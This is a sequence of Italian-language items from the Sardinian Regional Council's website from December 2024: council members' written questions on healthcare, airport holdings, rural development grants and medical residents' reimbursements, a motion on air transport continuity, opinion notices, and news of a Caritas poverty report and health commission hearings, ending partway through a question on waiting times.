INTERROGAZIONE N. 111/A

CONSIGLIO REGIONALE DELLA SARDEGNA

XVII Legislatura

Interrogazione n. 111/A

MELONI Corrado – TRUZZU – PIGA – CERA – FLORIS – MASALA – RUBIU – USAI, con richiesta di risposta scritta, sulle dichiarazioni rese in Consiglio regionale in data 7 novembre 2024 dall’Assessore regionale dell’igiene e sanità e assistenza sociale, dottor Armando Bartolazzi, a proposito dell’ospedale oncologico “Businco” di Cagliari.

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I sottoscritti,

PREMESSO che l’ospedale oncologico “Businco” di Cagliari costituisce il centro di riferimento regionale per la diagnosi e il trattamento delle patologie oncologiche a cui si affidano migliaia di cittadini sardi, avendo loro fiducia nella qualità delle cure ad opera del personale medico e sanitario tutto, che merita rispetto e riconoscenza per il lavoro svolto con la massima dedizione e impegno;

PRESO ATTO delle espressioni pronunciate dall’Assessore regionale dell’igiene e sanità e assistenza sociale Bartolazzi in Consiglio regionale, in sede di discussione del disegno di legge 53, il quale ha definito – fra le altre cose – l’ospedale “Businco” una realtà inesistente dal punto di vista funzionale, addirittura “un ologramma”;

CONSIDERATO che le conseguenti e legittime polemiche innescate dalle improvvide parole dall’Assessore regionale dell’igiene e sanità e assistenza sociale hanno portato a una sollevazione di scudi a difesa della dignità dei medici e dei sanitari, offesi oltremodo da giudizi negativi manifestati con leggerezza e superficialità da parte del titolare della delega sanitaria della Giunta regionale;

TENUTO CONTO:
– dell’allarme suscitato nei tanti pazienti sardi che si curano presso il presidio oncologico cagliaritano per aver visto misconosciuta la qualità e l’efficacia del prezioso e diuturno lavoro di diagnosi e cura della struttura dell’ospedale “Businco”;
– che le parole dell’Assessore Bartolazzi potrebbero indurre professionisti del settore a rinunciare alla collaborazione con la struttura medesima;

OSSERVATO che, conseguentemente, tali dichiarazioni potrebbero spingere tanti pazienti sardi a cercare soluzioni di cura al di fuori della nostra Isola, con un logico aumento della mobilità passiva,

chiedono di interrogare il Presidente della Regione per sapere:
1) se condivide le parole pronunciate dall’Assessore Bartolazzi sull’ospedale “Businco”;
2) qualora non le condivida, quali provvedimenti voglia intraprendere nei confronti dell’Assessore regionale dell’igiene e sanità e assistenza sociale;
3) se ritiene che sminuire la qualità delle cure del presidio oncologico sardo favorisca la diminuzione della mobilità passiva dei cittadini pazienti sardi che si recano fuori dalla Regione per curarsi;
4) quali siano precisamente gli atti, i provvedimenti e le azioni messe in campo dall’Assessorato regionale dell’igiene e sanità e dell’assistenza sociale per rendere la sanità isolana, in particolare, dal punto di vista della lotta ai tumori, migliore rispetto al giorno in cui l’Assessore si è insediato;
5) se, al di là dei proclami continui dell’Assessore Bartolazzi circa la possibilità di trasformazione in istituto di ricovero e cura a carattere scientifico (IRCCS) dell’ospedale “Businco”, siano state avviate formali procedure in tal senso e, nel caso, con quali esiti.

Cagliari, 20 dicembre 2024

INTERROGAZIONE N. 110/A

CONSIGLIO REGIONALE DELLA SARDEGNA

XVII Legislatura

Interrogazione n. 110/A

(Pervenuta risposta scritta in data 14/01/2025)

TRUZZU – PIGA – CERA – FLORIS – MASALA – MELONI CORRADO – RUBIU – USAI, con richiesta di risposta scritta, in merito al percorso di riorganizzazione delle partecipazioni strategiche nel settore del trasporto aeroportuale e per la realizzazione dei necessari investimenti.

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I sottoscritti,

PREMESSO che:
– è in corso da diversi anni un dibattitto politico, economico e sociale in merito alla fusione degli aeroporti sardi di Alghero, Cagliari e Olbia;
– a maggio 2023 le assemblee dei soci di SOGEAAL spa, società di gestione dell’aeroporto di Alghero Fertilia Riviera del Corallo, e GEASAR spa, società di gestione dell’aeroporto di Olbia Costa Smeralda, hanno approvato la fusione delle due società in un’unica società di gestione aeroportuale;
– a seguito di tale decisione è nato un contenzioso giuridico che ha visto la Regione opporsi al processo di fusione, al fine di tutelare i legittimi interessi pubblici;

CONSIDERATO che, sempre a partire da maggio 2023, è in corso un progetto di integrazione industriale tra i gestori degli scali aeroportuali della Regione, che coinvolge anche l’aeroporto di Cagliari, attraverso la sottoscrizione da parte della Camera di commercio di Cagliari – Oristano, principale azionista della SOGAER spa, società di gestione dell’aeroporto di Cagliari Elmas, di un aumento di capitale di Ligantia Spa, principale azionista delle società di gestione degli aeroporti di Alghero e Olbia, da liberarsi mediante conferimento in natura della partecipazione detenuta dalla stessa Camera in SOGAER Spa;

EVIDENZIATO che:
– ai primi di luglio 2024, la Regione, con una lettera inviata alla presidenza della Camera di commercio di Cagliari – Oristano, firmata dalla Presidente della Regione, ha comunicato la volontà di entrare a far parte della futura holding di gestione del sistema aeroportuale sardo;
– il Consiglio regionale, all’articolo 22, comma 1, della legge regionale 18 settembre 2024, n.13, (Assestamento di bilancio 2024-2026 e variazioni di bilancio in base alle disposizioni di cui agli articoli 50 e 51 del decreto legislativo n. 118 del 2011, e successive modifiche ed integrazioni, e riconoscimento di debiti fuori bilancio) ha stanziato, per l’anno 2024, la cifra di 30.000.000 euro per la riorganizzazione delle partecipazioni strategiche nel settore del trasporto aeroportuale e per la realizzazione dei necessari investimenti;
– sempre il Consiglio regionale, all’articolo 22, comma 2, della legge regionale n. 13 del 2024, ha stanziato per gli anni 2024 e 2025, la cifra di 170.000 euro per l’affidamento del servizio di analisi sulle problematiche relative alle partecipate nel settore dei trasporti e per valutare come procedere all’acquisto delle quote della futura holding di gestione del sistema aeroportuale sardo;

OSSERVATO che:
– è necessario concludere tale studio entro la fine dell’anno al fine di non dover disimpegnare le risorse stanziate o peggio di farle confluire all’interno dell’avanzo di amministrazione;
– siamo giunti ormai alla metà del mese di novembre e sullo studio e sulle modalità di acquisto delle quote della futura holding di gestione del sistema aeroportuale sardo da parte della Regione è calato il silenzio,

chiedono di interrogare il Presidente della Regione e l’Assessore regionale dei trasporti per sapere:
1) a chi è stato affidato servizio di analisi sulle problematiche relative alle partecipate nel settore dei trasporti;
2) se e quando il soggetto a cui è stato affidato il servizio di analisi sulle problematiche relative alle partecipate nel settore dei trasporti ha consegnato il lavoro alla Regione;
3) qualora il lavoro fosse stato consegnato, se e quando lo si intenda mettere a disposizione del Consiglio regionale;
4) se i 30.000.000 euro stanziati per la riorganizzazione delle partecipazioni strategiche nel settore del trasporto aeroportuale e per la realizzazione dei necessari investimenti sono ancora iscritti a bilancio e se saranno impegnati entro il 31 dicembre 2024;
5) attraverso quali modalità la Regione intenda procedere per riorganizzare le partecipazioni strategiche nel settore del trasporto aeroportuale e realizzare i necessari investimenti.

Cagliari, 20 dicembre 2024

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MOZIONE N. 30

CONSIGLIO REGIONALE DELLA SARDEGNA

XVII Legislatura

Mozione n. 30

SALARIS – TICCA – FASOLINO per la predisposizione, ai sensi dell’articolo 56 dello Statuto speciale per la Sardegna, di uno schema di decreto legislativo recante “Norme di attuazione dello Statuto speciale della Regione Sardegna per il trasferimento delle funzioni in materia di continuità territoriale aerea” da sottoporre alla commissione paritetica.

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IL CONSIGLIO REGIONALE

PREMESSO che:
– l’articolo 119, comma 6, della Costituzione riconosce le peculiarità delle isole e impone alla Repubblica di promuovere misure per rimuovere gli svantaggi dell’insularità;
– gli svantaggi derivanti dall’insularità non possono essere efficacemente contrastati se non attraverso adeguate politiche pubbliche miranti, da un lato, alla perequazione infrastrutturale e, dall’altro, alla compensazione dei maggiori costi che alcuni servizi – e in particolare i servizi di trasporto – comportano per le isole;
– i collegamenti aerei e marittimi sono cruciali per lo sviluppo delle isole, le quali non possono giovarsi di altre modalità di trasporto;
– la continuità territoriale è l’esplicazione del diritto fondamentale alla mobilità attraverso la garanzia di condizioni di circolazione omogenee e non discriminatorie a tutti i cittadini della Repubblica;
– la libera circolazione di merci, servizi, capitali e persone è sin dalle origini uno dei principi fondativi dell’Unione europea;
– la mobilità da e per la Sardegna, l’isola europea più lontana dal continente, non può che essere un problema di interesse dell’intera comunità nazionale, con la conseguenza che spetta allo Stato assumersi i relativi oneri;
– la mancata adozione di efficaci politiche di contrasto ai disagi dell’insularità rischia di vanificare rispetto alle isole anche le misure che ordinariamente vengono attuate a sostegno dell’economia delle regioni in ritardo di sviluppo, come peraltro dimostrano l’impatto delle politiche di coesione, assai modesto se rapportato all’entità delle risorse erogate nel corso dei decenni, oltre che l’incapacità della Sardegna di uscire dalla “trappola dello sviluppo”;
– il principio di insularità rappresenta il cardine sul quale deve svilupparsi la dialettica tra lo Stato e la Regione, in uno spirito di leale collaborazione;
– l’articolo 1, comma 837, della legge 27 dicembre 2006, n. 296 (legge finanziaria 2007) prevede il trasferimento alla Regione Sardegna delle funzioni relative alla continuità territoriale, ma tale disposizione non è ancora pienamente attuata;
– l’articolo 27, comma 2, della legge 5 maggio 2009, n. 42 (Delega al Governo in materia di federalismo fiscale, in attuazione dell’articolo 119 della Costituzione) prevede che, con apposite norme di attuazione dello Statuto siano disciplinate le specifiche modalità attraverso cui lo Stato assicura il conseguimento degli obiettivi costituzionali di perequazione e solidarietà per le regioni a statuto speciale i cui livelli di reddito pro capite siano inferiori alla media nazionale, concetto ribadito con chiarezza dalla Corte costituzionale anche nella sentenza relativa alla legge sull’autonomia differenziata,

impegna il Presidente della Regione e la Giunta regionale

1) a predisporre uno schema di decreto legislativo recante “Norme di attuazione dello Statuto speciale della Regione Sardegna per il trasferimento delle funzioni in materia di continuità territoriale aerea”, ai sensi dell’articolo 56 dello Statuto speciale per la Sardegna.

Cagliari, 20 dicembre 2024

PARERE N. 38/XVII

PARERE N. 38/XVII – Programma “Ritornare a casa PLUS”. Linee d’indirizzo annualità 2025/2026. Approvazione preliminare.

scarica il PARERE N. 38/XVII [file.pdf] 


iter

PARERE N. 37/XVII

PARERE N. 37/XVII – Criteri di ammissibilità e rendicontazione dei contributi per manifestazioni pubbliche di grande interesse turistico a valere sulla L.R. n. 7/1955. Cartelloni tematici per l’annualità 2025. Approvazione preliminare.

scarica il PARERE N. 37/XVII [file.pdf] 


iter

Presentato in Consiglio  il  XIV Dossier 2024 della Caritas diocesana di Cagliari.  Il Presidente Comandini: ”Non bastano le risorse economiche, dobbiamo creare un’infrastruttura sociale”

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“Il 2025 sarà l’anno delle politiche rivolte ai giovani, ai fragili e alle persone in difficoltà. Il Consiglio regionale è però consapevole che non bastano solo le risorse economiche, è necessario mettere in campo anche le risorse umane per realizzare  un’infrastruttura sociale capace, non solo di affrontare le emergenze,  ma di creare una nuova mentalità più aperta, più sensibile, più solidale”.

Così il presidente del Consiglio regionale Piero Comandini ha aperto, questa mattina in Transatlantico,  i lavori della presentazione del   XIV Dossier 2024 della Caritas diocesana di Cagliari “Un Giubileo di speranza e carità. Oltre la povertà, giustizia e pace”.

Il Presidente ha ringraziato l’arcivescovo di Cagliari mons. Giuseppe Baturi e ha assicurato una collaborazione sempre più stretta tra l’Assemblea, la Chiesa e le associazioni del terzo settore.

“La povertà in Sardegna è in continua crescita – ha detto il Presidente – ben oltre la media nazionale. E’ il momento di trasformare i numeri in azioni. Basta voltarsi dall’altra parte, ognuno di noi deve essere protagonista della solidarietà”

Sesta commissione: audizioni associazioni primo soccorso; FVM; MedNet e Cmns

La proroga temporanea delle convenzioni in essere con le associazioni e le cooperative del servizio 188, senza modifiche rispetto alle attuali condizioni, è l’impegno assunto dalla presidente della Sesta commissione, Carla Fundoni (Pd), a conclusione dell’audizione dei rappresentanti delle organizzazioni impegnate nell’emergenza-urgenza e che hanno i contratti in scadenza il prossimo 31 dicembre. Pierpaolo Embolo (Associazioni libere); Giovanni Mura (Misericordia Sardegna e Anpas); Francesco Ladinetti (coop sociali Nord Sardegna) e Tiziana Spiga (Anas) hanno sollecitato il parlamentino della Sanità, perché insieme con il rinnovo (per un massimo di sei mesi) si predisponga una nuova convenzione, condivisa con gli operatori e che affronti le criticità del sistema. Tra queste, sono state segnalate quelle inerenti l’autorizzazione per nuove postazioni con le ambulanze, senza un’adeguata valutazione delle necessità dei territori, insieme con la necessità di ulteriori investimenti (dieci milioni nel triennio) per consentire, non soltanto l’efficienza dei servizi ma anche la sopravvivenza di molte organizzazioni che soffrono anche per la carenza di volontari adeguatamente formati per svolgere il delicato compito di soccorritori. Una ulteriore richiesta ha riguardato l’annullamento di alcune direttive Areus che – così hanno dichiarato i portavoce della associazioni – fanno ricadere sulle organizzazioni del volontariato i disservizi che ciclicamente si registrano nei pronto soccorso dell’Isola.

A seguire le audizioni di Msssimiliano Piccoi e  Anna Laura Pilo per l’FVM (il sindacato dei veterinari della medicina pubblica) che nel reclamare la piena applicazione delle norme che regolano compiti e funzioni dei medici veterinari della pubblica amministrazione, ha posto l’accento sulla necessità di adeguate piante organiche per garantire i servizi rivolti alla sanità animale, all’igiene delle produzioni e alla verifica dei prodotti. La richiesta più stringente ha riguardato l’istituzione di dipartimenti e strutture complesse nell’Asl gallura, così da assicurare piena autonomia nella corretta gestione dei servizi nelle Asl di Sassari e della Gallura, in considerazione delle competenze trasversale che attualmente ne penalizzano le prestazioni.

A seguire, l’audizione del presidente e del vice presidente dell’associazione sindacale operatori sanitari (MedNET), al quale aderiscono gran parte delle strutture private accreditate e studi medici specialistici, convenzionate con il sistema sanitario regionale. Mauro Piria e Saverio Pulixi, nel richiamare la difficile condizione in cui versa la sanità territoriale hanno denunciato la progressiva riduzione del budget (passato dai 70 milioni del 2006, agli attuali 63 milioni, di cui 11 per la dialisi) per affermare che, la conseguente riduzione delle prestazioni, è la causa dell’aumento delle liste d’attesa. In ordine anche alle recenti iniziative intraprese dalla Regione, per ridurne i tempi, hanno lamentato la mancata concertazione delle condizioni dei servizi e gli stanziamenti tardivi delle risorse che non potranno essere spese entro il 31 dicembre. Per quanto attiene l’extrabudget, la proposta, è stata quella di una remunerazione nei limiti dei residui dei tetti di spesa non utilizzati da altre strutture ma senza la decurtazione tariffaria. E sul tema delle tariffe è stato rivolto il pressante invito perché sia immediatamente dato avvio ai lavori della commissione paritetica per la definizione del budget per i contratti dal 2024 e a seguire.

I lavori della commissione si sono conclusi con l’audizione della “Consulta malattie neuromuscolari” che, con il portavoce Nicola Spinelli e la presidente Anna Maria Cadeddu, ha posto in luce le criticità dell’assistenza offerta ai malati: assenza di un centro multidisciplinare specializzato e scarsa presenza dei presidi nel territorio. Le proposte hanno riguardato, il pieno recepimento e l’attuazione di quanto disposto dalla legge 175/2021 e il potenziamento dei servizi di riabilitazione in tutte le Asl, nonché l’organizzazione della transizione dalle cure dell’età evolutiva all’età adulta e una accurata e specifica formazione, per tutto il personale che si occupa di malattie rare e neuromuscolari.

INTERROGAZIONE N. 109/A

CONSIGLIO REGIONALE DELLA SARDEGNA

XVII Legislatura

Interrogazione n. 109/A

MAIELI, con richiesta di risposta scritta, in merito al preavviso di rigetto ed archiviazione di svariate domande di investimenti, presentate con il Piano di sviluppo rurale 2014/2022.

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Il sottoscritto,

PREMESSO che:
– la Regione usufruisce di fondi comunitari e, in particolare, del Piano di Sviluppo Rurale della Regione Sardegna 2014/2020, approvato da ultimo con la decisione C(2020) 354 del 20 gennaio 2020;
– il Regolamento (UE) 2020/2220 del Parlamento europeo e del Consiglio del 23 dicembre 2020 che stabilisce alcune disposizioni transitorie relative al sostegno da parte del Fondo europeo agricolo per lo sviluppo rurale (FEASR) e del Fondo europeo agricolo di garanzia (FEAGA) negli anni 2021 e 2022 e che modifica i regolamenti (UE) n. 1305/2013, (UE) n. 1306/2013 e (UE) n. 1307/2013, per quanto riguarda le risorse e l’applicazione negli anni 2021 e 2022, e il regolamento (UE) n. 1308/2013, per quanto riguarda le risorse e la distribuzione di tale sostegno in relazione agli anni 2021 e 2022, ha permesso di aumentare le risorse e di spostare la scadenza della spendita al 2022;
– la deliberazione della Giunta regionale 30 giugno 2021, n. 25/38 (Programma di sviluppo rurale 2014-2020 per la Regione Sardegna. Estensione del programma 2014-2022 e programmazione risorse QFP ordinarie e Next generation EU) ha esteso il programma al 2014/2022, sia come risorse QFP Ordinarie e sia come Next generation UE;

CONSIDERATO che:
– nelle domande di sostegno, presentate a valere sui bandi delle misure non connesse a superfici e animali, diverse aziende agricole, molto spesso per mero errore interpretativo del bando, si sono attribuite punteggi non spettanti, con conseguente errato posizionamento in graduatoria;
– a seguito della formale istruttoria da parte dei funzionari dell’Agenzia regionale per il sostegno all’agricoltura (ARGEA), responsabili dell’iter, sono arrivate, a diversi conduttori di aziende agricole, ma anche a titolari di domande di nuovo insediamento, di cui alle varie sottomisure del PSR 2014/2022, preavvisi di rigetto relativamente alle domande fatte;

PRESO ATTO che:
– nella circolare dell’Assessorato dell’agricoltura e riforma agro-pastorale n. RAS-A00 06-01-00 con prot. uscita 14184 del 31 maggio 2024, rilasciata dall’Autorità di gestione e recepita dalla stessa ARGEA con prot. 40030 del 31 maggio 2024, viene precisato che in caso di mancata conferma di un requisito di priorità, fatti salvi i casi di dichiarazioni fraudolente, occorra rettificare il punteggio e riposizionare la stessa domanda in graduatoria;
– l’Autorità di gestione è l’organo responsabile dell’efficace, efficiente e corretta gestione ed attuazione del programma di aiuti;
– diversi uffici dell’Agenzia ARGEA, di fatto, non stanno applicando la circolare sopra citata, ma stanno, viceversa, inviando direttamente preavvisi di rigetto;

VISTO che:
– la maggior parte delle domande presentate (ad esempio: bando 4.1 2016, 6.1 2017 e 2022, 4.2 2022 e 4.1 precision farming 2024) hanno la completa copertura finanziaria;
– sarebbe opportuno, seguendo l’iter indicato dallo stesso Assessorato, istruire tutte le pratiche che presentino una problematica del genere,

chiede di interrogare il Presidente della Regione e l’Assessore regionale dell’agricoltura e riforma agro-pastorale per sapere:
1) quali azioni si intendano portare avanti per invitare l’Agenzia ARGEA alla corretta applicazione, senza indugio, della circolare dell’Autorità di gestione;
2) quali interventi si intendano porre in atto per evitare il ripetersi di tali impropri comportamenti a danno delle aziende agricole.

Cagliari, 17 dicembre 2024

INTERROGAZIONE N. 108/A

CONSIGLIO REGIONALE DELLA SARDEGNA

XVII Legislatura

Interrogazione n. 108/A

(Pervenuta risposta scritta in data 28/02/2025)

PIGA – TRUZZU – CERA – FLORIS – MASALA – RUBIU – USAI – MELONI Corrado, con richiesta di risposta scritta, sul difficile reperimento del bando on line e sulla conseguente mancata partecipazione al pubblico avviso per l’assegnazione di ristori – anno 2023 – per spese inerenti periodi di formazione svolti presso le strutture sanitarie della Regione, ai sensi dell’articolo 6, comma 28, della legge regionale n.17 del 2021, da parte di diversi specializzandi afferenti alla Facoltà di Medicina e Chirurgia di Cagliari.

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I sottoscritti,

PREMESSO che:
– la legge regionale 22 novembre 2021, n. 17 (Disposizioni di carattere istituzionale-finanziario e in materia di sviluppo economico e sociale) e, in particolare, l’articolo 6, comma 28, prevede un finanziamento per il ristoro forfettario delle spese sostenute dagli specializzandi delle Facoltà di medicina e chirurgia degli Atenei di Cagliari e Sassari per i periodi di formazione svolti presso le strutture sanitarie regionali ubicate al di fuori dei Comuni di Cagliari e Sassari;
– per tale finalità, la norma ha stanziato euro 167.000 per l’anno 2021, euro 500.000 per l’anno 2022 ed euro 800.000 per l’anno 2023;
– la suddetta norma prevede che le modalità di accesso ai finanziamenti e all’assegnazione delle risorse siano definite con deliberazione della Giunta regionale;

RICHIAMATA la deliberazione della Giunta regionale 17 dicembre 2021, n. 49/15 con cui la Regione autonoma della Sardegna:
– ha stabilito l’ammontare del ristoro per la formazione fuori sede degli specializzandi delle Facoltà di medicina e chirurgia degli Atenei di Cagliari e Sassari, nella misura forfettaria e omnicomprensiva di euro 50 giornalieri e prevede un limite massimo mensile di euro 500;
– ha stabilito che la formazione svolta presso il P.O. Duilio Casula di Monserrato degli specializzandi medici dell’Università di Cagliari non è da intendersi quale formazione fuori sede;
– ha stabilito che la formazione svolta in una struttura situata nella stessa città metropolitana in cui risiede lo specializzando non è da intendersi quale formazione fuori sede;
– ha stabilito che i ristori sopra citati vengano liquidati su base mensile, previa validazione delle giornate di formazione fuori sede da parte del direttore della scuola di riferimento, in ordine cronologico di presentazione della richiesta e fino ad esaurimento delle risorse finanziarie annualmente disponibili;

RILEVATO che, sulla base di espresse richieste dei rappresentanti dei medici specializzandi, condivise con gli uffici tecnici della Regione e con i due Atenei sardi, è stata adottata la deliberazione di Giunta regionale 7 aprile 2022, n. 12/19, mediante la quale è stata integrata la precedente deliberazione regionale con le seguenti ulteriori previsioni:
– ad integrazione dei limiti massimi giornalieri e mensili previsti dalla deliberazione di Giunta regionale n. 49/15 del 2021, è stato previsto un limite massimo annuale di euro 3.000;
– l’assegnazione delle risorse disponibili per una data annualità è effettuata a consuntivo, secondo un criterio proporzionale rispetto alle richieste presentate dagli specializzandi, previa validazione del direttore della scuola di specializzazione interessata;
– in caso di disponibilità di risorse, dopo il primo riparto proporzionale, si può procedere all’erogazione delle stesse senza l’applicazione del limite annuale ed in caso di ulteriore disponibilità di risorse si può procedere ad ulteriore assegnazione anche senza l’applicazione del limite mensile;
– l’esclusione dal beneficio degli specializzandi che, nel periodo di riferimento del ristoro, siano stati titolari di contratto a tempo determinato ai sensi dell’articolo 1, comma 547 e seguenti della legge 30 dicembre 2018, n. 145 (Bilancio di previsione dello Stato per l’anno finanziario 2019 e bilancio pluriennale per il triennio 2019-2021) e/o che abbiano percepito un reddito personale lordo annuo superiore a euro 7.746,85;

DATO ATTO altresì che, con deliberazione della Giunta regionale 10 giugno 2022, n. 18/30 sono state modificate e integrate le precedenti deliberazioni n. 49/15 del 2021 e n. 12/19 del 2022 e, in particolare, è stato previsto:
– di escludere dal beneficio gli specializzandi che, nel periodo di riferimento del ristoro, risultino titolari di incarico presso le Unità speciali di continuità assistenziale ai sensi dell’articolo 8, comma 1, del decreto-legge 9 marzo 2020, n. 14 (Disposizioni urgenti per il potenziamento del Servizio sanitario nazionale in relazione all’emergenza COVID-19) e successive modifiche ed integrazioni;
– di aumentare il limite reddituale per l’accesso al beneficio da euro 7.746,85 a euro 27.000 annui lordi;
di stabilire che, ai fini delle verifiche sul rispetto del suddetto limite reddituale, debbano considerarsi esclusivamente i redditi percepiti durante il periodo di fruizione del ristoro e che, nel calcolo del reddito, non debba concorrere il trattamento economico relativo al contratto di formazione specialistica dello specializzando;

VISTE:
– la determinazione del Direttore del servizio programmazione sanitaria e economico finanziaria e controllo di gestione della Regione, prot. n. 32195 e n. 1463, del 23 dicembre 2021, con cui è stata impegnata la somma di euro 471.088,86, esigibile per l’annualità 2023, in favore dell’Università degli studi di Cagliari, a titolo di ristoro forfettario delle spese sostenute dagli specializzandi della Facoltà di medicina dell’Ateneo di Cagliari per i periodi di formazione svolti presso le strutture sanitarie della Regione fuori sede ai sensi dell’articolo 6, comma 28, della legge regionale n. 17 del 2021;
– la deliberazione del 27 settembre 2022, con cui il Consiglio di amministrazione dell’Ateneo cagliaritano, ha autorizzato la spesa di euro 471.088,86 per l’espletamento della procedura per l’anno 2023, per l’assegnazione dei ristori forfettari per le spese sostenute dai medici specializzandi per i periodi di formazione svolti presso le strutture fuori sede ai sensi dell’articolo 6, comma 28, della legge regionale n. 17 del 2021;

ACCERTATO che possono accedere al beneficio in oggetto anche gli specializzandi non medici, purché iscritti a scuole di specializzazione afferenti alla Facoltà di medicina e chirurgia. Viceversa, non sono ammissibili gli specializzandi iscritti a scuole di area sanitaria non afferenti alla Facoltà di medicina e chirurgia;

PRESO ATTO che con Decreto Rettorale – Rep. n. 1735/2024 del 04 novembre 2024 (classif. III/4) – si è provveduto all’indizione di specifico avviso pubblico, al fine di garantire la regolare assegnazione dei suddetti ristori per l’anno 2023;

APPRESO a seguito di diverse segnalazioni, che svariati medici specializzandi – potenziali destinatari dei ristori in oggetto – non sono stati messi nelle condizioni di conoscere in tempo utile e di poter perciò partecipare alla procedura di assegnazione delle risorse di cui trattasi poiché, le innumerevoli ricerche online, effettuate nel tempo, portavano sempre all’avviso pubblico dell’anno precedente e a causa di tale anomalia è risultato impossibile reperire il nuovo bando pubblico e formulare l’istanza di partecipazione entro i termini di scadenza dello stesso;

CONSIDERATO che:
– i ristori in questione, per gli specializzandi in Sardegna, rappresentano un importante supporto economico volto a coprire le spese sostenute durante i periodi di formazione presso strutture sanitarie all’interno della rete formativa, ma lontane dalla propria residenza e dalla sede principale dell’Università;
– tale rimborso rappresenta un congruo sostegno economico volto a garantire la sostenibilità del percorso formativo e a compensare il “disagio” dovuto alla formazione presso strutture diverse dalla propria sede principale. Allo stesso tempo, grazie a questo contributo, si mantiene un importante apporto agli organici degli ospedali privi di scuola di specializzazione, favorendo ed incentivando così il futuro inserimento di nuovi professionisti presso tali sedi, fattore essenziale per il rilancio della sanità nell’isola;

RITENUTO che la mancata possibilità di usufruire di tali contributi può comportare difficoltà economiche importanti per i medici specializzandi, che spesso sono costretti a pagare più affitti contemporaneamente e/o spese di trasferta aggiuntive. Inoltre, in questo modo, non viene così riconosciuto il sacrificio fatto per la frequenza nelle sedi della rete formativa, molto spesso carenti di personale medico, e si mortifica il valore sia umano che professionale di tale fondamentale categoria,
chiedono di interrogare, con richiesta di risposta scritta, il Presidente della Regione e l’Assessore regionale dell’igiene e sanità e dell’assistenza sociale, ciascuno per quanto di rispettiva competenza, per sapere:
1) se siano a conoscenza della situazione venutasi a creare in danno di svariati medici specializzandi afferenti alla Facoltà di medicina e chirurgia dell’Università di Cagliari, potenziali destinatari dei ristori messi a bando, ai sensi dell’articolo 6, comma 28, della legge regionale n. 17 del 2021, in quanto impegnati in percorsi di formazione presso strutture sanitarie all’interno della rete formativa, ma lontane dalla propria residenza e dalla sede principale dell’Università, ma che a causa delle oggettive e documentabili difficoltà di reperimento del bando on line non sono stati messi nelle condizioni di poter formulare la propria istanza in tempo utile e sono perciò stati esclusi dei benefici in argomento;
2) quali misure siano previste al fine di superare le criticità su descritte e recuperare i medici specializzandi che, per le ragioni su menzionate, sono attualmente esclusi dal supporto economico di cui trattasi.

Cagliari, 16 dicembre 2024

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INTERROGAZIONE N. 107/A

CONSIGLIO REGIONALE DELLA SARDEGNA

XVII Legislatura

Interrogazione n. 107/A

(Pervenuta risposta scritta in data 16/04/2025)

RUBIU, con richiesta di risposta scritta, in merito al continuo e costante superamento dei tempi massimi di attesa per l’erogazione di prestazioni ambulatoriali specialistiche presso la Azienda socio sanitaria locale n. 7 del Sulcis.

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Il sottoscritto,

PREMESSO che:
– con deliberazione 25 novembre 2021, n. 46/30 (Costituzione e individuazione sede legale dell’Azienda socio-sanitaria locale n. 7 del Sulcis. L.R. 11 settembre.2020, n. 24, art. 47) la Giunta regionale ha costituito l’Azienda socio sanitaria locale n. 7 del Sulcis a far data dal 1° gennaio 2022, ai sensi dell’articolo 47 della suindicata legge regionale 11 settembre 2020, n 24 (Riforma del sistema sanitario regionale e riorganizzazione sistematica delle norme in materia. Abrogazione della legge regionale n. 10 del 2006, della legge regionale n. 23 del 2014 e della legge regionale n. 17 del 2016 e di ulteriori norme di settore) individuandone la sede legale nel Comune di Carbonia, via Dalmazia, 83;
– che con l’articolo 5, comma 32, della legge regionale 21 febbraio 2023, n. 1 (Legge di stabilità 2023) alla denominazione Azienda socio sanitaria locale n. 7 del Sulcis è stata aggiunta la parola “Iglesiente”;

CONSIDERATO che:
– l’assistenza ambulatoriale specialistica è composta dall’insieme delle prestazioni terapeutiche e diagnostiche (di cui al Decreto del Presidente del consiglio dei Ministri. 12 gennaio 2017 (Definizione e aggiornamento dei livelli essenziali di assistenza, di cui all’articolo 1, comma 7, del decreto legislativo 30 dicembre 1992, n. 502) erogate dai medici specialisti sotto la loro responsabilità clinica, negli ambulatori e nei laboratori territoriali o ospedalieri, pubblici o privati accreditati;

TENUTO CONTO che:
– la Regione ha recepito l’intesa Stato-Regioni sul Piano nazionale per il Governo delle liste d’attesa (PNGLA) per il 2019-2021 con la deliberazione 4 giugno 2019, n. 21/24 (Recepimento dell’Intesa, ai sensi dell’articolo 8, comma 6, della Legge 5 giugno 2003, n. 131, tra il Governo, le Regioni e le Provincie Autonome di Trento e Bolzano, sul “Piano Nazionale di Governo delle Liste di Attesa per il triennio 2019-2021, di cui all’articolo 1, comma 280, della Legge 23 dicembre 2005, n. 266”, del 21 febbraio 2019 (Repertorio atti n. 28/CSR) ed ha approvato il Piano regionale di Governo delle liste d’attesa (PRGLA) 2019-2021 con la deliberazione 4 dicembre 2020, n. 62/24 (Piano regionale di governo delle liste di attesa);
– il PRGLA delinea le linee di intervento per il governo della domanda e dell’offerta di prestazioni ambulatoriali e di ricovero ospedaliero, con il coinvolgimento delle aziende sanitarie, dei professionisti, degli erogatori e dei cittadini;
– il piano individua, inoltre, l’elenco delle prestazioni soggette ai monitoraggi e fissa i tempi massimi di attesa, per classe di priorità: si tratta di 69 prestazioni di specialistica ambulatoriale e 17 di ricovero programmato;
– il monitoraggio dei tempi di attesa viene effettuato secondo la modalità ex ante (a priori) per misurare il tempo di attesa prospettato al cittadino al momento della prenotazione, in una determinata “settimana indice”, con cadenza trimestrale (a gennaio, aprile, luglio e ottobre), sulla base delle prenotazioni inserite nel Centro unico prenotazione (CUP) attraverso tutti i canali di prenotazione previsti in Sardegna (Call Center, CUPWEB, sportelli presso strutture sanitarie, farmacie, etc.);
– il tempo di attesa è calcolato in giorni come l’intervallo che intercorre tra data di contatto dell’utente con il sistema CUP e la data assegnata per l’erogazione, ossia la data di prenotazione;
– all’atto della prescrizione di una prestazione il prescrittore (medico di medicina generale, pediatra di libera scelta, specialista ambulatoriale, medico ospedaliero) è tenuto ad indicare se si tratta di primi accessi o di accesso successivo e solo per i primi accessi, la priorità clinica ritenuta più appropriata al caso considerato;

CONSIDERATO che:
– la metodologia Raggruppamenti di attesa omogenei (RAO) rappresenta una delle strategie che caratterizzano il modello regionale per il governo delle liste di attesa. Questa metodologia parte dall’assunto che i tempi di attesa per le prestazioni di specialistica ambulatoriale debbano essere differenziati e raggruppati in quattro classi di priorità (urgente, breve, differibile e programmata), in relazione alle oggettive condizioni cliniche del paziente, già diagnosticate o sospette, in modo da assicurare la prestazione sanitaria in tempi congrui;
